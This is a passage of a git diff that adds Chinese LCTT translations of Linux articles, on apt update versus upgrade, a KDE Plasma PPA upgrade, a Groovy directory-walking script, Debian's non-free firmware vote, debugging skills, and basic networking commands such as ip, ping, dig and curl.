内核版本,`apt-get upgrade` 不能。`apt-get` 命令需要使用 [apt-get dist-upgrade][9] 来升级内核版本。 + +![apt-get upgrade command cannot upgrade Linux kernel version][10] + +这是因为升级内核版本意味着安装一个全新的包。`apt-get upgrade` 命令不能安装一个新的包。它只能升级现有的包。 + +`apt upgrade` 比 `apt-get` 做的好的另一件小事是,它会在底部**显示一个进度条**。 + +![apt upgrade progress bar][11] + +### 总结 + +`update` 和 `upgrade` 两个词很相似,这就是为什么很多新用户会感到困惑。有时候,我觉得 `apt update` 命令应该和 `apt upgrade` 命令合并。 + +我意思是 `upgrade`(所有已安装的包)和 `update`(本地包元数据缓存)一起完成工作。为什么要有两个分开的命令呢?把这两个领命合成一个 `upgrade` 命令吧。Fedora 就是这样对 DNF 命令进行了改进。不过这只是我的观点。 + +我希望这篇文章可以解释一些关于 `apt-get update`、`apt-get upgrade` 和 `apt update` 以及 `apt upgrade` 命令的问题。 + +如果有任何问题,请与我联系。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-update-vs-upgrade/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/package-manager/ +[2]: https://itsfoss.com/wp-content/uploads/2020/10/linux-package-manager-explanation.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/apt-update.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/apt-upgrade.png +[5]: https://itsfoss.com/apt-get-upgrade-vs-dist-upgrade/ +[6]: https://itsfoss.com/wp-content/uploads/2022/08/apt-get-update.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/apt-update-output.png +[8]: https://itsfoss.com/apt-list-upgradable/ +[9]: https://itsfoss.com/apt-get-upgrade-vs-dist-upgrade/ +[10]: https://itsfoss.com/wp-content/uploads/2022/08/apt-get-upgrade.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/apt-upgrade-progress-bar.png diff --git a/published/202209/20220825 How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish.md b/published/202209/20220825 How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish.md new file mode 100644 index 0000000000..df94a21a26 --- /dev/null +++ b/published/202209/20220825 How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish.md @@ -0,0 +1,118 @@ +[#]: subject: "How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish" +[#]: via: "https://www.debugpoint.com/kde-plasma-5-25-kubuntu-22-04/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14997-1.html" + +如何在 Kubuntu 22.04 中安装 KDE Plasma 5.25 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/03/233812h11u1b18p8j0u8ct.jpg) + +KDE 开发人员现在启用了流行的向后移植 PPA,并对 KDE Plasma 5.25 进行了必要的更新,你现在可以将其安装在 Kubuntu 22.04 Jammy Jellyfish 中。下面是方法。 + +KDE Plasma 5.25 于不久前的 2022 年 6 月 14 日发布,其中包含一些令人振奋的更新。在此版本中,你将获得**动态强调色**、改进的登录头像、**浮动面板**以及我们在 [功能亮点文章][1] 中介绍的许多功能。 + +但是,如果你正在运行早在 2022 年 4 月发布的 [Kubuntu 22.04 Jammy Jellyfish][2],那么你使用的是带有 KDE Framework 5.92 的 KDE Plasma 5.24。 + +你可能正在稳定的 Kubuntu 22.04 版本中等待享受新功能,现在可以通过著名的向后移植 PPA 在 Kubuntu 22.04 中安装它。 + +### 如何在 Kubuntu 22.04 中安装 KDE Plasma 5.25 + +这是使用最新的 KDE Plasma 5.25 升级 Kubuntu 22.04 的方法。 + +#### GUI 方式 + +如果你惯于使用 KDE 的软件应用 “发现Discover”,请打开该应用。然后进入 “设置Settings” > “软件源Sources” 并添加 PPA:`ppa:kubuntu-ppa/backports-extra`。然后单击“更新Updates”。 + +#### 终端方法(推荐) + +我建议你打开一个终端并进行此升级以更快地执行和安装。 + +打开 Konsole 并运行以下命令以添加 [向后移植 PPA][3]。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports-extra +``` + +![Upgrade Kubuntu 22.04 with KDE Plasma 5.25][4] + +现在,通过运行以下命令刷新包列表。然后验证 5.25 包是否可用。 + +``` +sudo apt update +``` + +``` +apt list --upgradable | grep 5.25 +``` + +![KDE Plasma 5.25 packages are available now][5] + +最后,运行最后一个命令来启动升级。 + +``` +sudo apt full-upgrade +``` + +总共下载大约 200 MB 的软件包。根据你的互联网连接速度,整个过程大约需要 10 分钟。 + +上述命令完成后,重新启动系统。 + +重启后,你应该会在 Kubuntu 22.04 LTS 中看到新的 KDE Plasma 5.25。 + +![KDE Plasma 5.25 in Kubuntu 22.04 LTS][6] + +### 其他向后移植 PPA + +请注意,[另外的向后移植 PPA][7] `ppa:kubuntu-ppa/backports` 目前提供的是 Plasma 5.24。因此,请勿使用与上面不同的 PPA。我不确定这个 PPA 是否会得到更新。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports // 不要使用这个 +``` + +### 如何卸载 + +在任何时候,如果你想回到 KDE Plasma 桌面的原始版本,那么你可以安装 `ppa-purge` 并删除该 PPA,然后刷新包。 + +打开终端,依次执行以下命令: + +``` +sudo apt install ppa-purge +sudo ppa-purge ppa:kubuntu-ppa/backports-extra +sudo apt update +``` + +完成上述命令后,重启系统。 + +### 结束语 + +这就是全部了。一个漂亮而简单的步骤,将 Jammy Jellyfish 中的 KDE Plasma 升级到 Plasma 5.25。我希望你升级顺利。 + +如果你遇到任何错误,请在评论栏告诉我。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/kde-plasma-5-25-kubuntu-22-04/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/kde-plasma-5-25/ +[2]: https://www.debugpoint.com/kubuntu-22-04-lts/ +[3]: https://launchpad.net/~kubuntu-ppa/+archive/ubuntu/backports-extra +[4]: https://www.debugpoint.com/wp-content/uploads/2022/08/Upgrade-Kubuntu-22.04-with-KDE-Plasma-5.25.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/08/KDE-Plasma-5.25-packages-are-available-now.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/08/KDE-Plasma-5.25-in-Kubuntu-22.04-LTS-1024x575.jpg +[7]: https://launchpad.net/~kubuntu-ppa/+archive/ubuntu/backports diff --git a/published/202209/20220826 How I analyze my music directory with Groovy.md b/published/202209/20220826 How I analyze my music directory with Groovy.md new file mode 100644 index 0000000000..8a0a711353 --- /dev/null +++ b/published/202209/20220826 How I analyze my music directory with Groovy.md @@ -0,0 +1,131 @@ +[#]: subject: "How I analyze my music directory with Groovy" +[#]: via: "https://opensource.com/article/22/8/groovy-script-java-music" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15004-1.html" + +我如何使用 Groovy 分析我的音乐目录 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/06/091157xsta20az0az0ws0k.jpg) + +> 为了简化 Java 的繁琐,我制作了一个 Groovy 工具来分析我的音乐目录。 + +最近,我一直在研究 Groovy 是如何简化略微繁琐的 Java 的。在这篇文章中,我开始了一个简短的系列,通过创建一个分析我的音乐目录的工具来演示 Groovy 脚本。 + +在本文中,我将演示 `groovy.File` 类如何扩展和精简 `java.File` 并简化其使用。这为查看音乐文件夹的内容提供了一个框架,以确保预期的内容(例如,`cover.jpg` 文件)就位。我使用 [JAudiotagger 库][2] 来分析音乐文件的标签。 + +### 安装 Java 和 Groovy + +Groovy 基于 Java,需要安装 Java。 Java 和 Groovy 的最新和稳定的版本可能都在你的 Linux 发行版的仓库中。 Groovy 也可以直接从 [Apache Foundation 网站][3] 安装。对于 Linux 用户来说,一个不错的选择是 [SDKMan][4],它可用于获取 Java、Groovy 和许多其他相关工具的多个版本。对于本文,我使用以下 SDK 版本: + +* Java:版本 11.0.12-open 的 OpenJDK 11 +* Groovy:版本 3.0.8 + +### 音乐元数据 + +最近,我重整了我的音乐消费方式。我决定使用优秀的开源 [Cantata][5] 音乐播放器,它是开源 [MPD 音乐播放器][6] 的一个前端。我所有的电脑的音乐都存储在 `/var/lib/mpd/music` 目录下。在该音乐目录下有艺术家子目录,在每个艺术家子目录下有专辑子目录,包含音乐文件、`cover.jpg`,偶尔还有 PDF 格式的内页说明。 + +我绝大部分的音乐文件都是 FLAC 格式的,有一些是 MP3 格式,可能还有一小部分是 OGG 格式。我选择 JAudiotagger 库的一个原因是它可以透明地处理不同的标签格式。当然,JAudiotagger 是开源的! + +那么查看音频标签有什么意义呢?以我的经验,音频标签的管理极差。(提到音频标签,)我的脑海中浮现出“粗心”这个词。这是标签本身真正存在的问题,也可能是出于我自己的学究倾向。无论如何,这是一个可以通过使用 Groovy 和 JAudiotagger 解决的重要问题。不过,它不仅适用于音乐收藏。许多其他现实世界的问题也适用,如需要下沉到文件系统中的目录树来处理在那里找到的内容。 + +### 使用 Groovy 脚本 + +这是此任务所需的基本代码。我在脚本中加入了注释,这些注释反映了我通常留给自己的(相对简写的)“注释提醒”: + +``` +// 定义音乐库目录 +def musicLibraryDirName = '/var/lib/mpd/music' +// 输出 CSV 文件标题行 +println "artistDir|albumDir|contentFile" +// 迭代音乐库目录中的每个目录 +// 这一层应该是艺术家目录 +new File(musicLibraryDirName).eachDir { artistDir -> + // 迭代艺术家目录中的每个目录 + // 这一层应该是专辑目录 + artistDir.eachDir { albumDir -> + // 迭代专辑目录中的每个目录 + // 这里应该是内容 + // 或相关内容(如 `cover.jpg`,PDF 格式的内页说明) + albumDir.eachFile { contentFile -> + println "$artistDir.name|$albumDir.name|$contentFile.name" + } + } +} +``` + +如上所述,我使用 `groovy.File` 在目录树中移动。具体来说: + +第 7 行创建一个新的 `groovy.File` 对象并在其上调用 `groovy.File.eachDir()`,第 7 行的 `{` 和第 18 行的结尾的 `}` 之间的代码是传给 `eachDir()` 的 `groovy.Colsue` 参数。 + +这意味着 `eachDir()` 为目录中找到的每个子目录执行该代码。这类似于 Java *lambda*(也称为“匿名函数”)。 Groovy 闭包不会像 lambda 那样限制对调用环境的访问(在最新版本的 Groovy 中,如果你愿意,也可以使用 Java lambda)。如上所述,音乐库目录中的子目录应该是艺术家目录(例如,“Iron Butterfly” 或 “Giacomo Puccini”),因此 `artistDir` 是 `eachDir()` 传递给闭包的参数。 + +第 10 行对每个 `artistDir` 调用 `eachDir()`,第 10 行的 `{` 和第 17 行的 `}` 之间的代码形成另一个处理 `albumDir` 的闭包。 + +第 14 行,在每个 `albumDir` 上调用 `eachFile()`,第 14 行的 `{` 和第 16 行的 `}` 之间的代码形成了处理专辑内容的第三级闭包。 + +在本文的范围内,我对每个文件唯一需要做的就是开始构建信息表,我将其创建为一个以竖线分隔的 CSV 文件,它可以导入 [LibreOffice][7] 或 [OfficeOnly][8] 或任何其他电子表格。现在,代码输出前三列:艺术家目录名、专辑目录名和内容文件名(同样,第 2 行输出 CSV 标题行)。 + +在我的 Linux 笔记本电脑上运行它会产生以下输出: + +``` +$ groovy TagAnalyzer.groovy | head +artistDir|albumDir|contentFile +Habib Koite & Bamada|Afriki|02 - Ntesse.flac +Habib Koite & Bamada|Afriki|08 - NTeri.flac +Habib Koite & Bamada|Afriki|01 - Namania.flac +Habib Koite & Bamada|Afriki|07 - Barra.flac +Habib Koite & Bamada|Afriki|playlist.m3u +Habib Koite & Bamada|Afriki|04 - Fimani.flac +Habib Koite & Bamada|Afriki|10 - Massake.flac +Habib Koite & Bamada|Afriki|11 - Titati.flac +Habib Koite & Bamada|Afriki|03 – Africa.flac +[...] +Richard Crandell|Spring Steel|04-Japanese Lullaby [Richard Crandell].flac +Richard Crandell|Spring Steel|Spring Steel.pdf +Richard Crandell|Spring Steel|03-Zen Dagger [Richard Crandell].flac +Richard Crandell|Spring Steel|cover.jpg +$ +``` + +在性能方面: + +``` +$ time groovy TagAnalyzer.groovy | wc -l +9870 + +real 0m1.482s +user 0m4.392s +sys 0m0.230s +$ +``` + +又好又快。它在一秒半内处理近 10,000 个文件!对我来说足够快。可观的性能、紧凑且可读的代码,还有什么不喜欢的? + +在我的下一篇文章中,我会打开 JAudiotagger 并查看每个文件中的标签。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/groovy-script-java-music + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming-code-keyboard-laptop-music-headphones.png +[2]: http://www.jthink.net/jaudiotagger/examples_read.jsp +[3]: https://groovy.apache.org/download.html +[4]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[5]: https://opensource.com/article/17/8/cantata-music-linux +[6]: https://www.musicpd.org/ +[7]: https://opensource.com/tags/libreoffice +[8]: https://opensource.com/article/20/7/nextcloud diff --git a/published/202209/20220829 Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image.md b/published/202209/20220829 Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image.md new file mode 100644 index 0000000000..5cb3938980 --- /dev/null +++ b/published/202209/20220829 Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image.md @@ -0,0 +1,75 @@ +[#]: subject: "Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image" +[#]: via: "https://news.itsfoss.com/debian-non-free/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14988-1.html" + +Debian 终于开始讨论非自由固件镜像了 +====== + +> Debian 终于开始考虑将非自由固件纳入一般决议中了。那么,将会如何呢? + +![Debian 终于开始考虑非自由固件映像的一般决议][1] + +由于其稳定性和新功能之间的平衡的做法,Debian 是最受欢迎的 Linux 发行版之一。 + +但是,它并没有配备任何非自由固件。 + +对于想在新硬件上使用 Debian 的用户来说,这已经成为一个问题。 + +大多数最新的设备和配置都需要非自由固件来使其工作,这包括 Wi-Fi、图形显示等等。 + +为了解决这个问题,前 Debian 项目负责人、开发者 Steve McIntyre 已经对此积极讨论了一段时间。最近在 DebConf 22 会议上,正如 [Geeker's Digest][2] 所发现的那样,Steve 谈到了修复固件的混乱局面,更好地向用户和开发者表明了这一点。 + +现在社区中讨论的进展是,看起来 Debian 已经启动了一项一般决议,让其利益相关者投票决定如何处理非自由固件的问题。 + +### Debian 的一般决议提案 + +这个一般决议案有四个提案(LCTT 译注:原文和官方提案说明不够清晰,我根据理解重新梳理了): + +* 提案 A:改变原有的官方镜像集(安装镜像和实况镜像),Debian 将在官方镜像中包含非自由固件包。包含的固件将在检测到需求时默认启用。然而,它也将包括让用户在启动时禁用的方法。(截止本文发表时的提案支持人数:17) +* 提案 B:不改变原有的镜像集,保留原来的不包含非自由固件的镜像,另外单独提供包含非自由固件的官方镜像。新的镜像下载链接将更醒目以方便新用户找到它们,而原来的镜像的视觉优先级将变低。(截止本文发表时的提案支持人数:10) +* 提案 C:和提案 B 类似,在用户下载不包含自由固件的镜像时,提醒他们还有包含非自由固件的镜像可供下载。(截止本文发表时的提案支持人数:6) +* 提案 D:继续遵守《Debian 社会契约Debian Social Contract》第 1 节和第 5 节的精神,继续保持现状,不在 Debian 中包含任何非自由软件,但支持它们的使用,并欢迎其他人分发这样的作品。(截止本文发表时的提案支持人数:6) + +这些是一些有趣的建议。我认为提案 A 对所有人都很方便,同时给高级用户禁用非自由固件的机会。 + +你可以在 [官方网页][3] 中了解更多关于一般决议的信息。 + +你怎么看? + +### 将非自由固件纳入官方发行版中 + +至于目前的情况,你可以找到带有非自由固件的“**非官方**”的 Debian 镜像。 + +然而,并不是每个用户都知道它,即使它在 Debian 的下载页面上被宣传,“**非官方**”的说法也不会让用户比推荐的镜像更喜欢。 + +此外,当用户可以选择任何基于 Ubuntu 的发行版或 Ubuntu 作为替代品时,期望他们安装非自由固件是违反直觉的。 + +不仅仅限于这些问题,Steve 在他的 [博客][4] 中还提到了其他一些问题,包括: + +* 维护独立的非自由镜像是很耗时的。 +* 由于缺乏非自由固件,许多用户不喜欢官方镜像。 + +*那么,你认为 Debian 的一般决议的投票结果是什么?一个单独的介质镜像?还是把它包括在官方镜像中?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/debian-non-free/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/wordpress/2022/07/debian-non-free-firmware.jpg +[2]: https://www.geekersdigest.com/debian-on-the-verge-to-include-non-free-firmware-in-official-releases/ +[3]: https://www.debian.org/vote/2022/vote_003#timeline +[4]: https://blog.einval.com/2022/04/19#firmware-what-do-we-do diff --git a/published/202209/20220830 Some ways to get better at debugging.md b/published/202209/20220830 Some ways to get better at debugging.md new file mode 100644 index 0000000000..f0144e3ceb --- /dev/null +++ b/published/202209/20220830 Some ways to get better at debugging.md @@ -0,0 +1,115 @@ +[#]: subject: "Some ways to get better at debugging" +[#]: via: "https://jvns.ca/blog/2022/08/30/a-way-to-categorize-debugging-skills/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lkxed" +[#]: translator: "aftermath0703" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14991-1.html" + +提高调试能力的一些方法 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/01/222854m78u44otl68yxbyu.jpg) + +你们好!我一直在编写一本关于调试的杂志(这是 [目录的初稿][1])。 + +作为其中的一部分,我认为阅读一些关于调试的学术论文可能会很有趣,上周 [Greg Wilson][2] 给我发了一些关于调试学术研究的论文。 + +其中一篇论文(《[建立一个调试教学的框架[付费墙]][3]》)对我们有效调试所需的不同种类的知识/技能进行了分类,我非常喜欢。它来自另一篇关于故障排除的更一般性的论文:《[学会排错:一个新的基于理论的设计架构][4]》。 + +我认为这个分类对于思考如何更好地进行调试是一个非常有用的结构,所以我把论文中的五个类别重新规划为你可以采取的行动,以提高调试的效率。 + +以下是这些行动: + +#### 1、学习代码库 + +要调试一些代码,你需要了解你正在使用的代码库。 + +这似乎有点显而易见(当然,不了解代码的工作原理,你就无法调试代码!) + +这种学习随着时间的推移会很自然地发生,而且实际上调试也是 *学习* 一个新的代码库如何工作的最好方法之一—— +看到一些代码是如何崩溃的,有助于你了解它是如何工作的。 + +该论文将此称为“系统知识”。 + +#### 2、学习系统 + +论文中提到,你需要了解编程语言,但我认为不止于此 —— 为了修复 bug,往往你需要学习很多更广泛的环境,而不仅仅是语言。 + +举个例子,如果你是后端 Web 开发者,你可能需要的一些“系统”知识包括: + +* HTTP 缓存如何工作 +* CORS +* 数据库事务是如何工作的 + +我发现我经常需要更有意识地去学习像这样的系统性的东西 —— 我需要真正花时间去查找和阅读它们。 + +该论文将此称为“领域知识”。 + +#### 3、学习你的工具 + +现在有很多工具,例如: + +* 调试器(GDB 等) +* 浏览器开发工具 +* 剖析器profiler +* `strace` / `ltrace` +* `tcpdump` / `wireshark` +* 核心转储 +* 甚至像错误信息这样的基本东西(如何正确阅读它们) + +我在这个博客上写了很多关于调试工具的文章,并且肯定学习这些工具给我带来了巨大的变化。 + +该论文将此称为“处理性知识”。 + +#### 4、学习策略 + +这是最模糊的一类,在如何高效调试的过程中,我们都有很多策略和启发式方法。比如说: + +* 写一个单元测试 +* 写一个小的独立程序来重现这个错误 +* 找到一个能工作的版本的代码,看看有什么变化 +* 打印出无数的东西 +* 增加额外的日志记录 +* 休息一下 +* 向朋友解释这个错误,然后在中途发现问题所在 +* 查看 GitHub 上的问题,看看是否有匹配的问题 + +在写这本杂志的时候,我一直在思考这个类别,但我想让这篇文章简短,所以我不会在这里多说。 + +该论文将此称为“战略知识”。 + +#### 5、获得经验 + +最后一个类别是“经验”。这篇论文对此有一个非常有趣的评论: + +> 他们的研究结果并没有显示出新手和专家所采用的策略有什么明显的区别。专家只是形成了更多正确的假设,并且在寻找故障方面更有效率。作者怀疑这个结果是由于新手和专家之间的编程经验不同造成的。 + +这真的引起了我的共鸣 —— 我遇到过很多第一次遇到时非常令人沮丧和困难的 bug,而在第五次、第十次或第二十次时就非常简单了。 + +对我来说,这也是最直接的知识类别之一 —— 你需要做的就是调查一百万个 bug,反正这就是我们作为程序员的全部生活 : ) 。这需要很长的时间,但我觉得它发生得很自然。 + +本文将此称为“经验知识”。 + +#### 就这样吧! + +我打算把这篇文章写得很短,我只是非常喜欢这个分类,想把它分享出来。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/08/30/a-way-to-categorize-debugging-skills/ + +作者:[Julia Evans][a] +选题:[lkxed][b] +译者:[aftermath0703](https://github.com/aftermath0703) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lkxed +[1]: https://twitter.com/b0rk/status/1562480240240525314?s=20&t=BwKd6i0mVCTaCud2HDEUBA +[2]: https://third-bit.com/ +[3]: https://dl.acm.org/doi/abs/10.1145/3286960.3286970 +[4]: https://www.researchgate.net/profile/Woei-Hung/publication/225547853_Learning_to_Troubleshoot_A_New_Theory-Based_Design_Architecture/links/556f471c08aec226830a74e7/Learning-to-Troubleshoot-A-New-Theory-Based-Design-Architecture.pdf diff --git a/published/202209/20220831 21 Basic Linux Networking Commands You Should Know.md b/published/202209/20220831 21 Basic Linux Networking Commands You Should Know.md new file mode 100644 index 0000000000..eed580ca5d --- /dev/null +++ b/published/202209/20220831 21 Basic Linux Networking Commands You Should Know.md @@ -0,0 +1,596 @@ +[#]: subject: "21 Basic Linux Networking Commands You Should Know" +[#]: via: "https://itsfoss.com/basic-linux-networking-commands/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15013-1.html" + +你应该知道的 22 个基本的 Linux 网络命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/09/151623qbizibbrzfrffrpc.jpg) + +我们并不是每天都会谈论 Linux 的命令行。但正如一些读者指出的那样,你们也想学习一些命令行的技巧。 + +因此,我整理了一份基本的 Linux 网络命令清单,这些命令在我的大学时代帮助了我,让我对如何在网络方面使用 Linux 有了坚定的认识。 + +这些命令将帮助你设置网络,以及解决你在 Linux 系统中可能遇到的各种网络问题。 + +### Linux 中的基本网络命令 + +这个汇编包括了 CLI 实用程序,它们将帮助你排除网络问题、监控数据包和连接的设备,以及更多。 + +在我展示这些命令的一些细节之前,让我分享一下我今天要讨论的所有命令的简要概述。 + +| 命令 | 说明 | +| :- | :- | +| `ip` | 操纵路由来分配和配置网络参数 | +| `traceroute` | 识别数据包到达主机的路径 | +| `tracepath` | 在追踪网络主机的路径时,获取最大传输单元 | +| `ping` | 通常用于检查主机和服务器之间的连接情况 | +| `ss` | 获得有关网络套接字的详细信息 | +| `dig` | 给出所有关于 DNS 名称服务器的必要信息 | +| `host` | 输出特定域和主机的 IP 地址 | +| `hostname` | 主要用于输出和更改主机名 | +| `curl` | 在网络上通过各种协议传输数据 | +| `mtr` | `ping` 和 `traceroute` 的组合,用于诊断网络 | +| `whois` | 获取有关注册的域名、IP 地址、名称服务器等信息 | +| `ifplugstatus` | 检测本地以太网设备的链接状态 | +| `iftop` | 监视与带宽有关的统计信息 | +| `tcpdump` | 数据包嗅探和分析工具,用于捕获、分析和过滤网络流量 | +| `ethtool` | 允许用户配置以太网设备 | +| `nmcli` | 用于网络连接的故障排除工具 | +| `nmap` | 主要用于审计网络安全 | +| `bmon` | 开源工具,用于监控实时带宽 | +| `firewalld` | 配置防火墙规则的 CLI 工具 | +| `iperf` | 测量网络性能和调整的工具 | +| `speedtest-cli` | speedtest.net 的 CLI 工具,用于检查网速 | +| `vnstat` | 主要用于监控网络流量和带宽消耗 | + +现在,让我们用例子和更深入的方式讨论它们。 + +请注意,并不是所有的命令都会预装。我已经添加了针对 Debian/Ubuntu 的说明。对于其他发行版,请使用你的软件包管理器进行安装。 + +#### 1、ip 命令 + +`ip` 命令是最基本的,但也是最重要的,你会发现系统管理员经常使用它,其用于从操纵路由到分配和配置网络参数。 + +虽然用例可能无穷无尽,但让我向你展示 `ip` 命令的最基本用例(寻找 IP 地址)。 + +``` +ip address +``` + +![ip address][1] + +同样,你也可以使用 `ip` 命令来持续监控设备的状态,请使用 `monitor` 参数而不是我们之前用来获取 IP 地址的 `address` 参数: + +``` +ip monitor +``` + +![ip monitor][2] + +#### 2、traceroute + +使用 `traceroute` 命令,你可以确定数据包到达主机的路线。而且,当你想询问数据包的传输情况和数据包所走的跳数时,它可能相当有用。 + +默认情况下,你的系统可能没有安装 `traceroute`,如果你使用的是 Debian 及派生的发行版(包括 Ubuntu),安装时只需使用一个命令: + +``` +sudo apt install traceroute +``` + +例如,追踪到 google.com 的数据包: + +``` +traceroute google.com +``` + +![traceroute google.com][3] + +默认情况下,`traceroute` 会使用 IPv4,但是你可以通过使用 `-6` 选项来改变这一行为,该选项将指示 `traceroute` 使用 IPv6。让我告诉你怎么做: + +![traceroute -6 google.com][4] + +#### 3、tracepath + +`tracepath` 命令用于发现 MTU(最大传输单元),同时追踪到网络主机的路径。它与我上面讨论的 `traceroute` 很相似,但它不需要 `sudo` 权限,而且也没有像它那么多功能。 + +但是,首先什么是 MTU? + +MTU 就是可以在网络上传输或接收的最大帧或数据包。 + +现在,让我们看一下 google.com 的 `tracepath` 的基本例子: + +``` +tracepath google.com +``` + +![tracepath google.com][5] + +同样,你可以使用 `-b` 选项同时打印出 IP 地址和主机名。 + +``` +tracepath -b google.com +``` + +![tracepath -b google.com][6] + +#### 4、ping + +[ping 命令][7](数据包网络飞龙探云手Packet Internet Groper 🤣) 可以说是在排除网络故障时最重要的命令之一,因为它是检查主机和服务器之间连接情况的最常用方法。 + +例如,我 `ping` 谷歌: + +``` +ping google.com +``` + +![ping google.com][8] + +这里,最后一行(`min/avg/max`)表示从指定的服务器获得响应的时间。 + +如果你得到一个错误提示 `bash: ping: command not found` (LCTT 译注:不会吧?),你可以查看我们的指南 [如何在 Ubuntu 上安装 Ping][9]。 + +#### 5、ss + +`ss`(套接字统计socket statistics)命令用于详细了解网络套接字(在网络上发送和接收数据的端点)。 + +要列出所有监听和非监听的 TCP 连接,你必须使用 `-at` 选项,如下所示: + +``` +ss -at +``` + +![ss -at][10] + +同样,你可以使用 `-au` 选项对 UDP 端口进行同样的操作: + +``` +ss -au +``` + +![ss -au][11] + +#### 6、dig + +[dig 命令][12](域信息龙爪手Domain Information Groper 😜)用于获取有关域名的所有必要信息。 + +要在基于 Ubuntu 的发行版上安装 `dig` 工具,请按照给出的命令进行: + +``` +sudo apt install dnsutils +``` + +现在,让我告诉你如何获取一个特定主机的信息,在这个例子中,我将获取 itsfoss.com 的信息: + +``` +dig itsfoss.com +``` + +![dig itsfoss.com][13] + +#### 7、host + +`host` 命令主要用于获取一个特定主机的 IP 地址,或者你可以从一个特定的 IP 地址获取主机名。换句话说,它是一个 DNS 查询工具。 + +要找到主机的 IP,你只需要在 `host` 命令中附加主机名。让我告诉你怎么做: + +``` +host itsfoss.com +``` + +![host itsfoss.com][14] + +同样,你可以用一个 IP 地址来获取主机名: + +``` +host 8.8.4.4 +``` + +![host 8.8.4.4][15] + +#### 8、hostname + +如果你已经使用了一段时间的 Linux,你一定很熟悉这个命令,因为这主要是用来 [改变你的系统的主机名][16] 和 NIS(网络信息系统)的主机名。 + +当不使用任何选项时,它可以得到系统当前的主机名。 + +``` +hostname +``` + +![hostname][17] + +从包含所需主机名的文件中改变主机名是这个工具的另一个有趣的功能: + +``` +sudo hostname -F +``` + +![sudo hostname -F][18] + +#### 9、curl + +`curl`(客户端 URLClient URL)命令主要用于在网络上传输数据,支持各种协议,包括 HTTP、FTP、IMAP 和许多其他协议。 + +这个工具是首选的自动化工具,因为它是在没有任何人类互动的情况下工作的,也可以用于端点测试、调试和错误记录。 + +`curl` 工具没有预装,如果你在任何 Debian 及其派生发行版上,你只需要使用以下命令进行安装: + +``` +sudo apt install curl +``` + +使用 `curl` 命令 [下载文件][19] 非常容易,你只需在 URL 中使用 `-O` 选项,就可以开始了。 + +``` +curl -O [URL] +``` + +![curl -o url][20] + +在下载大文件时,进度条会很方便,你可以用 `curl` 的 `-#` 选项来显示进度条。 + +![curl -# -O][21] + +#### 10、mtr + +它是 `ping` 和 